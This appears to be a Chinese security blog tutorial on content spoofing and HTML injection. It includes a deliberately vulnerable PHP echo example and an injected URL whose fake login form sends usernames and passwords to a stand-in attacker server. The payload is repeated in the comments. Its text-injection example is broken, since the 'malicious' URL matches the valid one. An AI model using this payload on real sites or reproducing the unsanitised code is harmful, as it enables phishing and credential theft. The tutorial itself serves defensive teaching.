浅谈内容欺骗漏洞
内容欺骗漏洞是指攻击者可以通过修改网页源代码,让访问者觉得是该功能或者该站点是可信合法的,来达到欺骗用户的目的。内容欺骗往往利用web服务的用户和组织之间建立的信任关系,意图是欺骗用户,达到钓鱼获取用户敏感信息的目的。
OWASP也将也被称为内容注射或者虚拟污损,内容欺骗漏洞攻击一般是和社会工程学配合使用,这种攻击是通过利用基于代码的脆弱性和用户的信赖。在某些情况下,攻击者利用该漏洞可能修改已建立网站的代码或连接,用户很难察觉其中的差异。
Web应用程序没有正确处理用户输入的参数,导致攻击者可以向web应用程序提交内容来修改参数。最危险的内容欺骗形式诸如动态HTML的表格表单填写提交,攻击者可以修改伪造表单,盗取用户的cookies,用户密码等等。
内容欺骗和XSS之间的差异
据OWASP,内容介绍和XSS是密切相关的,经管XSS是利用<script>或类似的技术来运行JS,而内容欺骗是利用其它技术来修改网页。XSS漏洞修复如果不完善,比如通过适当的编码,有时候也可以导致产生内容欺骗漏洞。
内容欺骗攻击示例:
可能的攻击场景:
攻击者发现一个站点,存在内容欺骗漏洞;
攻击者发送一个URL,在URL注入恶意的代码,然后发送邮件给网站的一些用户;
因为是受信任的域,用户不大注意的话,就会进行访问;
当受害者访问该页面时,注入的HTML渲染代码要求输入用户名和密码。
用户名和口令都将被发送到攻击者的服务器。
下面的PHP代码包含HTML注入漏洞:
Form.html
</pre>
<h1> INFOSEC INSTITUTE</h1>
<form action=”get”>
<b>Enter your name: </b>
<input type=”text” name=”name” />
<input type=”submit” value=”submit name” />
</form>
<pre>
Name.php
<!–?php $name = $_REQUEST [‘name’]; ?–></pre>
<h1>Welcome to Infosec Institute</h1>
<pre>
Hello, <!–?php echo $name; ?–>!
How can we help you ?
显示效果如图:
浅谈内容欺骗漏洞 - 第2张 | 阿德马Web安全
注意,使用get参数传递 name到namp.php,接下来通过代码注入来创建一个恶意的URL:
ocalhost/name.php?name=Bhavesh<form action=”http://attackers/log.php” method=”post”>Username<input type=”text” name=”user”><br>password<input type=”password” name=”pass”><input type=”submit”></form>
浅谈内容欺骗漏洞 - 第3张 | 阿德马Web安全
通过上面的链接请求,页面呈现的注入HTML代码显示一个登录表单。一旦受害者输入用户名和密码,将会被提交到攻击者的服务器log.php.
基于文本的注射
这是另外一种内容欺骗的方法,通过修改网站错误提示来欺骗用户,如下:
有效的URL类似这样
localhost/stock.php?id=1234&rec=We%20recommend%20you%20to%20sell%20these%20stocks
浅谈内容欺骗漏洞 - 第4张 | 阿德马Web安全
构造恶意的URL如下:
localhost/stock.php?id=1234&rec=We%20recommend%20you%20to%20sell%20these%20stocks
浅谈内容欺骗漏洞 - 第5张 | 阿德马Web安全
内容欺骗漏洞修复建议:
验证用户输入的数据的范围,格式,类型,长度等
任何用户输入编码之后再通过Web应用程序的输出。
如果可能的话,使用的POST参数。
相关文章
- 3条评论
- 俗野尤怨2022-05-30 16:48:23
- 20stocks浅谈内容欺骗漏洞 - 第5张 | 阿德马Web安全 内容欺骗漏洞修复建议:验证用户输入的数据的范围,格式,类型,长度等任何用户输入编码之后再通过Web应用程序的输出。如果可能的
- 痴妓喜余2022-05-30 13:08:34
- /name.php?name=Bhavesh<form action=”http://attackers/log.php” method=”post”>Username<input type=”text” name=”user”>
- 丑味歆笙2022-05-30 12:07:16
- input type=”text” name=”name” /><input type=”submit” value=”submit name” /></form><pre>